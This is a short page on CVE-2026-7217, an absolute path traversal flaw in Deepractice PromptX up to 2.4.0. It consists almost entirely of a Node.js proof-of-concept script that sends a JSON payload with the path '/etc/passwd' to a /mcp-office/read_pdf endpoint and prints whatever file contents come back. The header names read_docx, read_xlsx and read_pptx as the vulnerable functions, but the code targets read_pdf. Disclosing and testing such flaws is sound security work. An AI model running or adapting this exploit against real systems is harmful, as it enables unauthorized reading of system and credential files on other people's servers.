CVE-2026-7217 Deepractice PromptX 绝对路径遍历漏洞

// Proof of Concept for CVE-2026-7217 // Target: Deepractice PromptX <= 2.4.0 // Vulnerable functions: read_docx, read_xlsx, read_pptx, etc. const axios = require('axios'); async function checkVulnerability(targetUrl) { // Attempt to read /etc/passwd (Linux) or C:\Windows\win.ini (Windows) // by exploiting the absolute path traversal in the 'path' parameter. const maliciousPayload = { "path": "/etc/passwd" }; try { // Replace with the actual vulnerable endpoint path based on the function used // e.g., /api/read_docx or /api/read_xlsx const response = await axios.post(`${targetUrl}/mcp-office/read_pdf`, maliciousPayload, { headers: { 'Content-Type': 'application/json' } }); if (response.status === 200 && response.data) { console.log("[+] Vulnerability confirmed! Sensitive data leaked:"); console.log(response.data); } else { console.log("[-] Target might not be vulnerable or patched."); } } catch (error) { console.error("[-] Error during exploit attempt:", error.message); } } // Usage: node exploit.js http://target-ip:port checkVulnerability('http://localhost:3000');